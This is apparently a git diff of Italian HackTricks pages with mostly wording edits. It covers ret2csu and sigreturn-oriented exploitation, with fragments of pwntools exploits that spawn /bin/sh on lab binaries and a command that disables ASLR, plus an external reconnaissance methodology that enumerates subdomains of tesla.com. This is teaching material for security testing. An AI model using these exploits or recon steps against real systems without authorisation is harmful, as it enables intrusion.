* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@ Questo gadget ci permette di controllare questi registri facendo uscire i valori
|
||||||
|
|
||||||
2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:
|
2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:
|
||||||
* **Spostare valori specifici in altri registri**, preparandoli per essere utilizzati come parametri nelle funzioni.
|
* **Spostare valori specifici in altri registri**, preparandoli per essere utilizzati come parametri nelle funzioni.
|
||||||
* **Effettuare una chiamata a una posizione** determinata sommando i valori in r15 e rbx, e moltiplicando rbx per 8.
|
* **Effettuare una chiamata a una posizione** determinata sommando i valori in r15 e rbx, moltiplicando poi rbx per 8.
|
||||||
```armasm
|
```armasm
|
||||||
mov rdx, r15;
|
mov rdx, r15;
|
||||||
mov rsi, r14;
|
mov rsi, r14;
|
||||||
|
@ -61,7 +61,7 @@ ret
|
||||||
```
|
```
|
||||||
Le condizioni saranno:
|
Le condizioni saranno:
|
||||||
|
|
||||||
* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione invocabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`):
|
* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione richiamabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`):
|
||||||
* Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init:
|
* Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init:
|
||||||
```bash
|
```bash
|
||||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||||
|
@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560
|
||||||
|
|
||||||
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici:
|
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Controlla questa pagina per ulteriori informazioni:
|
Controlla questa pagina per ulteriori informazioni:
|
||||||
|
|
||||||
|
@ -95,7 +95,7 @@ Immagina di voler fare una syscall o chiamare una funzione come `write()` ma hai
|
||||||
|
|
||||||
Ecco dove entra in gioco **ret2csu**:
|
Ecco dove entra in gioco **ret2csu**:
|
||||||
|
|
||||||
1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
|
1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e metterli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
|
||||||
2. **Usa il Secondo Gadget**: Con questi registri impostati, utilizzi il secondo gadget. Questo ti permette di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in `[r15 + rbx*8]`.
|
2. **Usa il Secondo Gadget**: Con questi registri impostati, utilizzi il secondo gadget. Questo ti permette di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in `[r15 + rbx*8]`.
|
||||||
|
|
||||||
Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che è stato utilizzato:
|
Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che è stato utilizzato:
|
||||||
|
@ -128,7 +128,7 @@ Si noti che l'exploit precedente non è destinato a fare un **`RCE`**, ma è des
|
||||||
|
|
||||||
### Bypassare la chiamata e raggiungere ret
|
### Bypassare la chiamata e raggiungere ret
|
||||||
|
|
||||||
L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) dove viene utilizzato il **ret2csu** ma anziché utilizzare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata:
|
L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) dove viene utilizzato il **ret2csu** ma invece di utilizzare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata:
|
||||||
```python
|
```python
|
||||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||||
|
@ -180,4 +180,4 @@ target.interactive()
|
||||||
```
|
```
|
||||||
### Perché non utilizzare direttamente libc?
|
### Perché non utilizzare direttamente libc?
|
||||||
|
|
||||||
Di solito questi casi sono vulnerabili anche a **ret2plt** + **ret2lib**, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente**.
|
Di solito questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare direttamente tutti questi**.
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Esempio di Pwntools
|
## Esempio di Pwntools
|
||||||
|
|
||||||
Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario **legge nello stack** e poi chiama **`sigreturn`**:
|
Questo esempio crea il binario vulnerabile e ne sfrutta la vulnerabilità. Il binario **legge nello stack** e poi chiama **`sigreturn`**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -86,7 +86,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||||
```
|
```
|
||||||
## Exploit
|
## Exploit
|
||||||
|
|
||||||
L'exploit sfrutta il buffer overflow per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`.
|
L'exploit sfrutta il bof per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -144,11 +144,11 @@ return 0;
|
||||||
```
|
```
|
||||||
## Exploit
|
## Exploit
|
||||||
|
|
||||||
Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** all'offset **`0x7b0`**:
|
Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** nell'offset **`0x7b0`**:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Pertanto, se ottenuto in modo non autorizzato, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando:
|
Pertanto, se ottenuto in modo non lecito, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -188,17 +188,3 @@ E per aggirare l'indirizzo di `/bin/sh` potresti creare diverse variabili d'ambi
|
||||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Metodologia di ricognizione esterna
|
# Metodologia di Ricognizione Esterna
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -14,28 +14,28 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Scoperta degli asset
|
## Scoperta degli Asset
|
||||||
|
|
||||||
> Ti è stato detto che tutto ciò che appartiene a un'azienda è nel perimetro, e vuoi capire cosa possiede effettivamente questa azienda.
|
> Ti è stato detto che tutto ciò che appartiene a un'azienda è nel perimetro, e vuoi capire cosa possiede effettivamente questa azienda.
|
||||||
|
|
||||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue:
|
L'obiettivo di questa fase è ottenere tutte le **aziende di proprietà dell'azienda principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue:
|
||||||
|
|
||||||
1. Trovare le acquisizioni della società principale, questo ci darà le aziende nel perimetro.
|
1. Trovare le acquisizioni dell'azienda principale, questo ci darà le aziende nel perimetro.
|
||||||
2. Trovare l'ASN (se presente) di ogni azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
|
2. Trovare l'ASN (se presente) di ogni azienda, questo ci darà gli intervalli IP di proprietà di ciascuna azienda.
|
||||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlati al primo (questo può essere fatto in modo ricorsivo).
|
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlati al primo (questo può essere fatto in modo ricorsivo).
|
||||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
|
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
|
||||||
|
|
||||||
### **Acquisizioni**
|
### **Acquisizioni**
|
||||||
|
|
||||||
Innanzitutto, dobbiamo sapere quali **altre aziende sono possedute dalla società principale**.\
|
Innanzitutto, dobbiamo sapere quali **altre aziende sono di proprietà dell'azienda principale**.\
|
||||||
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** l'**azienda principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||||
Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare **acquisizioni**.
|
Un'altra opzione è visitare la pagina **Wikipedia** dell'azienda principale e cercare **acquisizioni**.
|
||||||
|
|
||||||
> Ok, a questo punto dovresti conoscere tutte le aziende nel perimetro. Scopriamo come trovare i loro asset.
|
> Ok, a questo punto dovresti conoscere tutte le aziende nel perimetro. Scopriamo come trovare i loro asset.
|
||||||
|
|
||||||
|
@ -76,7 +76,7 @@ Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http:
|
||||||
|
|
||||||
A questo punto conosciamo **tutte le risorse all'interno del perimetro**, quindi se ti è consentito potresti avviare uno scanner di vulnerabilità (Nessus, OpenVAS) su tutti gli host.\
|
A questo punto conosciamo **tutte le risorse all'interno del perimetro**, quindi se ti è consentito potresti avviare uno scanner di vulnerabilità (Nessus, OpenVAS) su tutti gli host.\
|
||||||
Inoltre, potresti avviare alcuni [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e in base a ciò che trovi dovresti** consultare questo libro su come testare la penetrazione di diversi servizi possibili.\
|
Inoltre, potresti avviare alcuni [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e in base a ciò che trovi dovresti** consultare questo libro su come testare la penetrazione di diversi servizi possibili.\
|
||||||
**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcuni elenchi di** nomi utente predefiniti **e** password **e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
**Inoltre, potrebbe essere utile menzionare che puoi anche preparare alcuni elenchi di** nomi utente predefiniti **e** password **e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||||
|
|
||||||
## Domini
|
## Domini
|
||||||
|
|
||||||
|
@ -121,7 +121,7 @@ Puoi anche eseguire una scoperta automatica inversa whois con [amass](https://gi
|
||||||
Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse, puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
|
Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse, puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
|
||||||
Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine.
|
Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine.
|
||||||
|
|
||||||
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altri:
|
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro ancora:
|
||||||
|
|
||||||
* [**Udon**](https://github.com/dhn/udon)
|
* [**Udon**](https://github.com/dhn/udon)
|
||||||
* [**BuiltWith**](https://builtwith.com)
|
* [**BuiltWith**](https://builtwith.com)
|
||||||
|
@ -131,7 +131,7 @@ Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tr
|
||||||
|
|
||||||
### **Favicon**
|
### **Favicon**
|
||||||
|
|
||||||
Sapevi che possiamo trovare domini e sottodomini correlati al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo:
|
Sapevi che possiamo trovare domini correlati e sottodomini al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo:
|
||||||
```bash
|
```bash
|
||||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
|
@ -140,11 +140,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
|
|
||||||
In poche parole, favihash ci permetterà di scoprire i domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
In poche parole, favihash ci permetterà di scoprire i domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||||
|
|
||||||
Inoltre, è possibile cercare tecnologie utilizzando l'hash del favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se si conosce l'**hash del favicon di una versione vulnerabile di una tecnologia web**, è possibile cercare in shodan e **trovare più luoghi vulnerabili**:
|
Inoltre, è possibile cercare tecnologie utilizzando l'hash del favicon come spiegato in [**questo post sul blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci l'**hash del favicon di una versione vulnerabile di una tecnologia web**, puoi cercare se è presente in shodan e **trovare più luoghi vulnerabili**:
|
||||||
```bash
|
```bash
|
||||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||||
```
|
```
|
||||||
Ecco come puoi **calcolare l'hash del favicon** di un sito web:
|
Ecco come puoi **calcolare l'hash della favicon** di un sito web:
|
||||||
```python
|
```python
|
||||||
import mmh3
|
import mmh3
|
||||||
import requests
|
import requests
|
||||||
|
@ -163,14 +163,14 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr
|
||||||
|
|
||||||
### **Ora del CRT**
|
### **Ora del CRT**
|
||||||
|
|
||||||
È comune avere un cron job come
|
È comune avere un lavoro pianificato come
|
||||||
```bash
|
```bash
|
||||||
# /etc/crontab
|
# /etc/crontab
|
||||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||||
```
|
```
|
||||||
### Metodologia di ricognizione esterna
|
### Metodologia di ricognizione esterna
|
||||||
|
|
||||||
Per rinnovare tutti i certificati di dominio sul server. Ciò significa che anche se l'AC utilizzato per questo non imposta l'ora in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza del certificato**.\
|
Per rinnovare tutti i certificati di dominio sul server. Ciò significa che anche se l'AC utilizzato per questo non imposta l'ora in cui è stato generato nel tempo di Validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza del certificato**.\
|
||||||
Consulta questo [**articolo per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
Consulta questo [**articolo per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||||
|
|
||||||
### Informazioni DMARC sulla posta
|
### Informazioni DMARC sulla posta
|
||||||
|
@ -189,17 +189,17 @@ Apparentemente è comune che le persone assegnino sottodomini a IP che apparteng
|
||||||
|
|
||||||
**Shodan**
|
**Shodan**
|
||||||
|
|
||||||
Poiché conosci già il nome dell'organizzazione che possiede lo spazio IP, puoi cercare quei dati in Shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
Poiché conosci già il nome dell'organizzazione proprietaria dello spazio IP, puoi cercare quei dati in Shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||||
|
|
||||||
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e quindi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **Shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e quindi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **Shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||||
|
|
||||||
**Assetfinder**
|
**Assetfinder**
|
||||||
|
|
||||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** a un dominio principale e i **loro sottodomini**, davvero sorprendente.
|
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)è uno strumento che cerca **domini correlati** a un dominio principale e i **loro sottodomini**, davvero sorprendente.
|
||||||
|
|
||||||
### **Ricerca di vulnerabilità**
|
### **Ricerca di vulnerabilità**
|
||||||
|
|
||||||
Controlla se c'è qualche [acquisizione di dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse un'azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registrati semplicemente (se abbastanza economico) e informa l'azienda.
|
Controlla se c'è qualche [acquisizione di dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda **sta utilizzando un dominio** ma ha **perso la proprietà**. Registrati semplicemente (se abbastanza economico) e informa l'azienda.
|
||||||
|
|
||||||
Se trovi un **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
Se trovi un **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||||
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||||
|
@ -221,7 +221,7 @@ Nota che alcuni degli strumenti e delle tecniche per trovare domini possono aiut
|
||||||
|
|
||||||
### **DNS**
|
### **DNS**
|
||||||
|
|
||||||
Proviamo a ottenere i **sottodomini** dai **record DNS**. Dovremmo anche provare per il **trasferimento di zona** (se vulnerabile, dovresti segnalarlo).
|
Proviamo a ottenere **sottodomini** dai **record DNS**. Dovremmo anche provare per **Trasferimento di zona** (Se vulnerabile, dovresti segnalarlo).
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -a -d tesla.com
|
dnsrecon -a -d tesla.com
|
||||||
```
|
```
|
||||||
|
@ -276,7 +276,7 @@ vita -d tesla.com
|
||||||
```bash
|
```bash
|
||||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||||
```
|
```
|
||||||
Ci sono **altri strumenti/API interessanti** che, anche se non sono direttamente specializzati nel trovare sottodomini, potrebbero essere utili per trovarli, come:
|
Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nel trovare sottodomini, potrebbero essere utili per trovarli, come:
|
||||||
|
|
||||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilizza l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) per ottenere sottodomini
|
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilizza l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) per ottenere sottodomini
|
||||||
```bash
|
```bash
|
||||||
|
@ -308,7 +308,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||||
}
|
}
|
||||||
crt tesla.com
|
crt tesla.com
|
||||||
```
|
```
|
||||||
* [**gau**](https://github.com/lc/gau)**:** recupera gli URL conosciuti dall'Open Threat Exchange di AlienVault, dal Wayback Machine e da Common Crawl per un determinato dominio.
|
* [**gau**](https://github.com/lc/gau)**:** recupera gli URL conosciuti dall'Open Threat Exchange di AlienVault, dal Wayback Machine e dal Common Crawl per un determinato dominio.
|
||||||
```bash
|
```bash
|
||||||
# Get subdomains from GAUs found URLs
|
# Get subdomains from GAUs found URLs
|
||||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||||
|
@ -357,11 +357,11 @@ Per questa azione avrai bisogno di alcune liste di parole comuni per i sottodomi
|
||||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||||
|
|
||||||
